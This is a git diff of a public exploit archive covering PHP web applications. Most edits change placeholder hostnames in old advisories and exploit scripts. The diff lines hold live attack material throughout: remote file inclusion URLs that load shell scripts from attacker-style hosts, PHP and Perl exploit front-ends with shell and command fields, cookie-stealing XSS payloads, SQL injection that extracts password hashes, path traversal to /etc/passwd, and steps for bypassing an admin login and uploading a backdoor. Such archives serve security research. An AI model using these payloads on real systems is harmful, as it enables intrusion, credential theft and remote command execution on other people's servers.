-#http://www.server/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php? +#http://www.site.com/ablog_dir/navigation/menu.php?navigation_start=http://marcusbestlamer.gay/shell.php? #GrEatZ All Member of ToXiC, Str0ke # Fuck Sonic,a|x diff --git a/platforms/php/webapps/2437.php b/platforms/php/webapps/2437.php index 1c6f9c587..4f4bba087 100755 --- a/platforms/php/webapps/2437.php +++ b/platforms/php/webapps/2437.php @@ -66,10 +66,10 @@ $exp= "<title>paBugs &lt;= 2.0 Beta 3 Remote File Include Exploit :: DEVIL TEAM ."body,td,th {color: #FFFFFF;}" ."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">" ."<div align=\"center\"><img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"></div>" -."<p align=\"center\">script url: (ex. http://www.server/[pabugs_path]/class.mysql.php?path_to_bt_dir=)<br>" +."<p align=\"center\">script url: (ex. http://www.site.com/[pabugs_path]/class.mysql.php?path_to_bt_dir=)<br>" ."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">" ."<br>" -."shell url: (ex. http://www.server/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" +."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" ."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">" ."<br>" ."cmd: (ex. ls -la)<br>" diff --git a/platforms/php/webapps/24389.txt b/platforms/php/webapps/24389.txt index 1ee530783..1f89a4444 100755 --- a/platforms/php/webapps/24389.txt +++ b/platforms/php/webapps/24389.txt @@ -8,4 +8,4 @@ Attackers may potentially exploit this issue to manipulate web content or to ste Versions 4.1, and all 4.1.x releases are reported vulnerable to this issue. -Whatever_you_want<script>alert("Your cookie is " + document.cookie)</script> \ No newline at end of file +Whatever_you_want<script>alert("Your cookie is " + document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2439.txt b/platforms/php/webapps/2439.txt index b27177ee0..a9e87ba02 100755 --- a/platforms/php/webapps/2439.txt +++ b/platforms/php/webapps/2439.txt @@ -28,7 +28,7 @@ #Exploit : #-------------------------------- # -#http://sitename.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://evilserver/evilscript.txt? +#http://sitename.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://evilsite.com/evilscript.txt? # # #================================================================================================ diff --git a/platforms/php/webapps/24390.txt b/platforms/php/webapps/24390.txt index beb0bf30b..d74d47606 100755 --- a/platforms/php/webapps/24390.txt +++ b/platforms/php/webapps/24390.txt @@ -8,4 +8,4 @@ This vulnerability could be exploited by a remote attacker to execute arbitrary Version 0.19.0a is reported vulnerable to this issue. Other versions are also likely affected. -http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/ \ No newline at end of file +http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/24391.txt b/platforms/php/webapps/24391.txt index c8653ac5e..1dc99c2c9 100755 --- a/platforms/php/webapps/24391.txt +++ b/platforms/php/webapps/24391.txt @@ -12,4 +12,4 @@ http://www.example.com/login_page.php?return=[XSS] http://www.example.com/signup.php?username=user&email=[XSS] http://www.example.com/login_select_proj_page.php?ref=[XSS] http://www.example.com/login_select_proj_page.php?ref=%22%3E[XSS] -http://www.example.com/view_all_set.php?type=1&reporter_id=5031&hide_status=80<script>alert('hi')</script> \ No newline at end of file +http://www.example.com/view_all_set.php?type=1&reporter_id=5031&hide_status=80<script>alert('hi')</script> \ No newline at end of file diff --git a/platforms/php/webapps/24393.txt b/platforms/php/webapps/24393.txt index d09fe5177..9a42b7fb7 100755 --- a/platforms/php/webapps/24393.txt +++ b/platforms/php/webapps/24393.txt @@ -15,4 +15,4 @@ The SQL injection is reportedly fixed in version 1.4.2. Versions prior to this a http://www.example.com/demo/out/out.ViewFolder.php?folderid=3 or 1=1 An example for the directory traversal vulnerability: -http://www.example.com/mydms/op/op.ViewOnline.php?request=4:6:/../../../../../etc/passwd \ No newline at end of file +http://www.example.com/mydms/op/op.ViewOnline.php?request=4:6:/../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/24396.txt b/platforms/php/webapps/24396.txt index c4d49df1a..a5b1b1dcf 100755 --- a/platforms/php/webapps/24396.txt +++ b/platforms/php/webapps/24396.txt @@ -4,4 +4,4 @@ Reportedly the JShop E-Commerce Suite is affected by a cross-site scripting vuln As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/page.php?xPage=<SCRIPT>alert(document.cookie)</SCRIPT> \ No newline at end of file +http://www.example.com/page.php?xPage=<SCRIPT>alert(document.cookie)</SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/24399.txt b/platforms/php/webapps/24399.txt index 9caf10b1e..c82b722c3 100755 --- a/platforms/php/webapps/24399.txt +++ b/platforms/php/webapps/24399.txt @@ -6,4 +6,4 @@ This issue could permit a remote attacker to create a malicious URI link that in All versions of PhotoADay are considered vulnerable at the moment. -http://www.example.com/modules.php?name=Photo_A_Day&action=single&pad_selected=44%20UNION%20SELECT%20< script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/modules.php?name=Photo_A_Day&action=single&pad_selected=44%20UNION%20SELECT%20< script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/24403.txt b/platforms/php/webapps/24403.txt index dbff7754f..26c67a517 100755 --- a/platforms/php/webapps/24403.txt +++ b/platforms/php/webapps/24403.txt @@ -10,4 +10,4 @@ Additionally HTML injection vulnerabilities are reported for the eGroupWare 'Mes Attackers may potentially exploit these issues to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. -http://www.example.com/egroupware/index.php?menuaction=calendar.uicalendar.day&date=20040701"><script>alert(document.cookie)</script \ No newline at end of file +http://www.example.com/egroupware/index.php?menuaction=calendar.uicalendar.day&date=20040701"><script>alert(document.cookie)</script \ No newline at end of file diff --git a/platforms/php/webapps/24405.txt b/platforms/php/webapps/24405.txt index d316df04e..12c31e5c0 100755 --- a/platforms/php/webapps/24405.txt +++ b/platforms/php/webapps/24405.txt @@ -6,4 +6,4 @@ This issue could permit a remote attacker to create a malicious URI link that in This issue was identified in the demo version of Plesk Reloaded 7.1. It is likely that other versions are affected as well. -http://www.example.com:8443/login_up.php3?login_name="><script>alert(document.cookie)</script><"&passwd=TheSur \ No newline at end of file +http://www.example.com:8443/login_up.php3?login_name="><script>alert(document.cookie)</script><"&passwd=TheSur \ No newline at end of file diff --git a/platforms/php/webapps/24410.txt b/platforms/php/webapps/24410.txt index d55511497..1dc471977 100755 --- a/platforms/php/webapps/24410.txt +++ b/platforms/php/webapps/24410.txt @@ -5,4 +5,4 @@ PHP Code Snippet Library is reported prone to multiple cross-site scripting vuln These issues could permit a remote attacker to create a malicious URI link to the PHP Code Snippet Library site that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. http://www.example.com/[path]/index.php?cat_select=[XSS] -http://www.example.com/[path]/index.php?cat_select=[XSS]&show=[XSS] \ No newline at end of file +http://www.example.com/[path]/index.php?cat_select=[XSS]&show=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/24415.txt b/platforms/php/webapps/24415.txt index 088fababf..ad26a9e32 100755 --- a/platforms/php/webapps/24415.txt +++ b/platforms/php/webapps/24415.txt @@ -35,4 +35,4 @@ document.write(tag+web+path); The following proof of concept has been provided for the 'letter.php' script issue: -ttp://attaker/modules/dictionary/letter.php?letter="><script>document.write(document.cookie)<script>( \ No newline at end of file +ttp://attaker/modules/dictionary/letter.php?letter="><script>document.write(document.cookie)<script>( \ No newline at end of file diff --git a/platforms/php/webapps/24424.txt b/platforms/php/webapps/24424.txt index 6227ac124..4061cfbff 100755 --- a/platforms/php/webapps/24424.txt +++ b/platforms/php/webapps/24424.txt @@ -9,4 +9,4 @@ Although this issue reportedly affects versions 1.3 through 1.6 of the affected GET / HTTP/1.1 User-Agent: <script>alert('xss')</script> Host: www.example.com -Accept: */* \ No newline at end of file +Accept: */* \ No newline at end of file diff --git a/platforms/php/webapps/24425.txt b/platforms/php/webapps/24425.txt index 6d5c27f48..2d31acbba 100755 --- a/platforms/php/webapps/24425.txt +++ b/platforms/php/webapps/24425.txt @@ -12,4 +12,4 @@ Attackers may potentially exploit this issue to manipulate web content, take una These vulnerabilities were reported in phpWebsite 0.9.3-4, previous versions are also reported to be vulnerable. -/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS] \ No newline at end of file +/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2443.txt b/platforms/php/webapps/2443.txt index 308b487c0..deac9d267 100755 --- a/platforms/php/webapps/2443.txt +++ b/platforms/php/webapps/2443.txt @@ -16,10 +16,10 @@ TURKISH HACKER ::</title>" ."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">" ."<div align=\"center\"><img src=\"http://xoron.biz/teamvh4.png\"></div>" ."<p align=\"center\">script url: (ex. -http://www.server/[script_path]/include/main.inc.php?NWCONF_SYSTEM[server_path]=)<br>" +http://www.site.com/[script_path]/include/main.inc.php?NWCONF_SYSTEM[server_path]=)<br>" ."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">" ."<br>" -."shell url: (ex. http://www.server/[path]/shell.txt?) shell.txt (CHMOD +."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" ."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">" ."<br>" diff --git a/platforms/php/webapps/24454.txt b/platforms/php/webapps/24454.txt index e0fd88c0b..94c9b1b6f 100755 --- a/platforms/php/webapps/24454.txt +++ b/platforms/php/webapps/24454.txt @@ -84,17 +84,17 @@ Powered By: Free Monthly Websites 2.0 [ 1 ] Admin Login Bypass -Vulnerable page http://server/[path]/admin/index.php +Vulnerable page http://target.com/[path]/admin/index.php Line 40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()"> 41 <input type="hidden" name="do_type" value="admin_settings_read"> -Vulnerable page http://server/[path]/admin/login.php +Vulnerable page http://target.com/[path]/admin/login.php Line 40 <form name="frm" action="file_io.php" method="post" onSubmit="return chk()"> 41 <input type="hidden" name="do_type" value="admin_settings_read"> -Vulnerable page http://server/[path]/admin/file_io.php +Vulnerable page http://target.com/[path]/admin/file_io.php Line 14 if($_REQUEST[do_type]=="admin_settings_read") @@ -125,7 +125,7 @@ Picture: http://i48.tinypic.com/2gvlwt4.png So... How to Bypass Admin Login Page? -1st. Open the Admin Login Page : http://server/[path]/admin/index.php +1st. Open the Admin Login Page : http://target.com/[path]/admin/index.php 2nd. Inspect Element on the login Form. Picture: http://i47.tinypic.com/2r5ddp1.png @@ -152,7 +152,7 @@ This vulnerability works on PREMIUM VERSION of Free Monthly Websites 2.0 So... How to Upload Backdoor (PHP Shell)? 1st. Go to Add/Remove Navigation Page. -http://server/[path]/admin/add_main_pages.php +http://target.com/[path]/admin/add_main_pages.php 2nd. Enter a Name For Your New Navigation Page That You Wish To Add: dwi.php And click Add New Navigation Page. diff --git a/platforms/php/webapps/2446.php b/platforms/php/webapps/2446.php index c35a5d2e1..b940827fd 100755 --- a/platforms/php/webapps/2446.php +++ b/platforms/php/webapps/2446.php @@ -68,10 +68,10 @@ $exp= "<title>PPA Gallery &lt;= 1.0 Remote File Include Exploit :: DEVIL TEAM :: ."body,td,th {color: #FFFFFF;}" ."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">" ."<div align=\"center\"><img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"></div>" -."<p align=\"center\">script url: (ex. http://www.server/[ppa_path]/inc/functions.inc.php?config[ppa_root_path]=)<br>" +."<p align=\"center\">script url: (ex. http://www.site.com/[ppa_path]/inc/functions.inc.php?config[ppa_root_path]=)<br>" ."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">" ."<br>" -."shell url: (ex. http://www.server/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" +."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" ."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">" ."<br>" ."cmd: (ex. ls -la)<br>" diff --git a/platforms/php/webapps/2450.txt b/platforms/php/webapps/2450.txt index b3a98f000..e5c1fc892 100755 --- a/platforms/php/webapps/2450.txt +++ b/platforms/php/webapps/2450.txt @@ -1,4 +1,4 @@ -Tagmin C.C 2.1.B Remote File Include + Tagmin C.C 2.1.B Remote File Include ######################################## +Advisory #3 +Product :Tagmin Control Center 2.1.B diff --git a/platforms/php/webapps/2453.txt b/platforms/php/webapps/2453.txt index a8a70b721..10dca0b9e 100755 --- a/platforms/php/webapps/2453.txt +++ b/platforms/php/webapps/2453.txt @@ -23,8 +23,8 @@ $board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx); #Exploit: -http://www.server/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts? -http://www.server/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts? +http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts? +http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts? ############################################################ diff --git a/platforms/php/webapps/2455.php b/platforms/php/webapps/2455.php index 2ac3d90ae..09b97c965 100755 --- a/platforms/php/webapps/2455.php +++ b/platforms/php/webapps/2455.php @@ -79,10 +79,10 @@ $exp= "<title>VideoDB &lt;= 2.2.1 Remote File Include Exploit :: DEVIL TEAM :: T ."body,td,th {color: #FFFFFF;}" ."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">" ."<div align=\"center\"><img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"></div>" -."<p align=\"center\">script url: (ex. http://www.server/[videodb_path]/core/pdf.php?config[pdf_module]=)<br>" +."<p align=\"center\">script url: (ex. http://www.site.com/[videodb_path]/core/pdf.php?config[pdf_module]=)<br>" ."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">" ."<br>" -."shell url: (ex. http://www.server/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" +."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" ."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">" ."<br>" ."cmd: (ex. ls -la)<br>" diff --git a/platforms/php/webapps/2459.txt b/platforms/php/webapps/2459.txt index 2b50d3bcf..ac6b8980d 100755 --- a/platforms/php/webapps/2459.txt +++ b/platforms/php/webapps/2459.txt @@ -29,19 +29,19 @@ #Exploit : #-------------------------------- # -#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilsite.com/evilscript.txt? # -#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilserver/evilscript.txt? +#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilsite.com/evilscript.txt? # #bla...bla... # diff --git a/platforms/php/webapps/2461.txt b/platforms/php/webapps/2461.txt index 36188fc61..aae1e1385 100755 --- a/platforms/php/webapps/2461.txt +++ b/platforms/php/webapps/2461.txt @@ -18,7 +18,7 @@ # include $no_url; # }?> # ExPloit : -#http://www.server/wamp_dir/setup/yesno.phtml?no_url=http://sonic-banda-di-lamer.gay/shell.php? +#http://www.site.com/wamp_dir/setup/yesno.phtml?no_url=http://sonic-banda-di-lamer.gay/shell.php? # # GrEatZ All Member of ToXiC, Str0ke diff --git a/platforms/php/webapps/24616.txt b/platforms/php/webapps/24616.txt index 373b1bcca..23878160f 100755 --- a/platforms/php/webapps/24616.txt +++ b/platforms/php/webapps/24616.txt @@ -4,4 +4,4 @@ Tutos is reported prone to multiple remote input-validation vulnerabilities. The These issue reportedly affect Tutos 1.1.2004-04-14. -http://www.example.com/file/file_overview.php?link_id=1005'asdf \ No newline at end of file +http://www.example.com/file/file_overview.php?link_id=1005'asdf \ No newline at end of file diff --git a/platforms/php/webapps/2465.php b/platforms/php/webapps/2465.php index 50aea9ffb..e428f0604 100755 --- a/platforms/php/webapps/2465.php +++ b/platforms/php/webapps/2465.php @@ -66,32 +66,32 @@ $exp= "<title>BasiliX &lt;= 1.1.1 Remote File Include Exploit :: DEVIL TEAM :: T ."body,td,th {color: #FFFFFF;}" ."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">" ."<div align=\"center\"><img src=\"http://www.rahim.webd.pl/index_r2_c3.jpg\"></div>" -."<p align=\"center\">script url: (ex. http://www.server/[BasiliX_path]/files/abook.php3?BSX_LIBDIR=)<br>" +."<p align=\"center\">script url: (ex. http://www.site.com/[BasiliX_path]/files/abook.php3?BSX_LIBDIR=)<br>" ."<p align=\"center\">or<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/compose-attach.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/compose-menu.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/compose-new.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/compose-send.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/folder-create.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/folder-delete.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/folder-empty.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/folder-rename.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/folders.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/login.php3err=hack&BSX_HTXDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/mbox-action.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/mbox-list.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-delete.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-forward.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-header.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-print.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-read.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-reply.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-replyall.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/message-search.php3?BSX_LIBDIR=<br>" -."<p align=\"center\">http://www.server/[BasiliX_path]/files/settings.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-attach.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-menu.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-new.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/compose-send.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-create.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-delete.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-empty.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folder-rename.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/folders.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/login.php3err=hack&BSX_HTXDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/mbox-action.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/mbox-list.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-delete.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-forward.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-header.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-print.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-read.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-reply.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-replyall.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/message-search.php3?BSX_LIBDIR=<br>" +."<p align=\"center\">http://www.site.com/[BasiliX_path]/files/settings.php3?BSX_LIBDIR=<br>" ."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">" ."<br>" -."shell url: (ex. http://www.server/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" +."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 777)<br>" ."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">" ."<br>" ."cmd: (ex. ls -la)<br>" diff --git a/platforms/php/webapps/2468.txt b/platforms/php/webapps/2468.txt index d016aaae8..f61de2ac6 100755 --- a/platforms/php/webapps/2468.txt +++ b/platforms/php/webapps/2468.txt @@ -25,6 +25,6 @@ _________________________________________________________________________ -http://server/[path]/includes/functions.php?phpbb_root_path=http://[Evil_script] +http://site.com/[path]/includes/functions.php?phpbb_root_path=http://[Evil_script] # milw0rm.com [2006-10-02] diff --git a/platforms/php/webapps/2469.pl b/platforms/php/webapps/2469.pl index 28a05a026..3536c26b1 100755 --- a/platforms/php/webapps/2469.pl +++ b/platforms/php/webapps/2469.pl @@ -73,7 +73,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[JAF_path]/module/forum/forum.php?fd=hack&website='; +$url = 'http://www.site.com/[JAF_path]/module/forum/forum.php?fd=hack&website='; $shell_path = 'http://server/shell.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/2470.txt b/platforms/php/webapps/2470.txt index 019d1ac01..691273bcf 100755 --- a/platforms/php/webapps/2470.txt +++ b/platforms/php/webapps/2470.txt @@ -8,7 +8,7 @@ require_once($pmp_rel_path . '/include/PEAR/HTTP.php'); _________________________________________________________________ googledork:phpMyProfiler -http://server/[path]/functions.php?pmp_rel_path=http://[Evil_scr +http://site.com/[path]/functions.php?pmp_rel_path=http://[Evil_scr ipt] PS:Whitehat aia de pe undernet sug pula!!! Lameri boratzi #phpfreaks rulz diff --git a/platforms/php/webapps/2471.pl b/platforms/php/webapps/2471.pl index 478f7af82..2ac5b3bad 100755 --- a/platforms/php/webapps/2471.pl +++ b/platforms/php/webapps/2471.pl @@ -73,7 +73,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[Travelsized_path]/frontpage.php?setup_folder='; +$url = 'http://www.site.com/[Travelsized_path]/frontpage.php?setup_folder='; $shell_path = 'http://server/shell.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/2472.pl b/platforms/php/webapps/2472.pl index 7c2ccd652..5fa86e88c 100755 --- a/platforms/php/webapps/2472.pl +++ b/platforms/php/webapps/2472.pl @@ -73,7 +73,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[Klinza_path]/funzioni/lib/show_hlp.php?appl[APPL]='; +$url = 'http://www.site.com/[Klinza_path]/funzioni/lib/show_hlp.php?appl[APPL]='; $shell_path = 'http://server/shell.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/2474.txt b/platforms/php/webapps/2474.txt index 8703761be..53e378f9d 100755 --- a/platforms/php/webapps/2474.txt +++ b/platforms/php/webapps/2474.txt @@ -16,9 +16,9 @@ # #Exploit : #(1) -#http://www.server/[jmf_path]/module/forum/main.php?id=1&main_dir=http://www.milw0rm.com/index.php?& +#http://www.site.com/[jmf_path]/module/forum/main.php?id=1&main_dir=http://www.milw0rm.com/index.php?& #(2) -#http://www.server/[jmf_path]/module/forum/headlines.php?id=1&main_dir=http://www.milw0rm.com/index.php?& +#http://www.site.com/[jmf_path]/module/forum/headlines.php?id=1&main_dir=http://www.milw0rm.com/index.php?& # #=========================================================================================== # @@ -30,7 +30,7 @@ /* * modified the authors GET request from - * ?website=http://www.server/shell.txt? + * ?website=http://www.site.com/shell.txt? * to the current. /str0ke */ diff --git a/platforms/php/webapps/2475.txt b/platforms/php/webapps/2475.txt index 353c51335..8bbba35de 100755 --- a/platforms/php/webapps/2475.txt +++ b/platforms/php/webapps/2475.txt @@ -1,4 +1,4 @@ -/ \ + / \ \ \ ,, / / '-.`\()/`.-' .--_'( )'_--. @@ -19,7 +19,7 @@ _________________________________________________________________________ -http://server/[path]/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=http://[Evil_script] +http://site.com/[path]/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=http://[Evil_script] diff --git a/platforms/php/webapps/24759.txt b/platforms/php/webapps/24759.txt index f7fefd450..0bb14c5c3 100755 --- a/platforms/php/webapps/24759.txt +++ b/platforms/php/webapps/24759.txt @@ -4,7 +4,7 @@ A remote SQL injection vulnerability reportedly affects ipbProArcade. This issue An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. -http://server/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/* +http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/* For modules installed on Invision Power Board versions 2.X: index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/* \ No newline at end of file diff --git a/platforms/php/webapps/2476.txt b/platforms/php/webapps/2476.txt index 27a632fd2..b9d5ad94f 100755 --- a/platforms/php/webapps/2476.txt +++ b/platforms/php/webapps/2476.txt @@ -11,7 +11,7 @@ Download: http://sourceforge.net/project/showfiles.php?group_id=6127 <td colspan="2" valign="top" align="left"><? include($site_location . "/includes/navigation.php"); ?> $PHPGREETZ_INCLUDE_DIR = "$site_location/includes"; _________________________________________________________________ -http://server/[path]/includes/footer.php?PHPGREETZ_INCLUDE_DIR=Evil +http://site.com/[path]/includes/footer.php?PHPGREETZ_INCLUDE_DIR=Evil . ### eu.undernet.org #phpfreaks team RaVeR -- nutzulake@yahoo.com diff --git a/platforms/php/webapps/24768.txt b/platforms/php/webapps/24768.txt index 025a3e001..912c3f0a9 100755 --- a/platforms/php/webapps/24768.txt +++ b/platforms/php/webapps/24768.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/11740/info SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks. -index.php?action=DetailView&module=Accounts&record=[SQL] \ No newline at end of file +index.php?action=DetailView&module=Accounts&record=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2477.txt b/platforms/php/webapps/2477.txt index 600906771..c934e329e 100755 --- 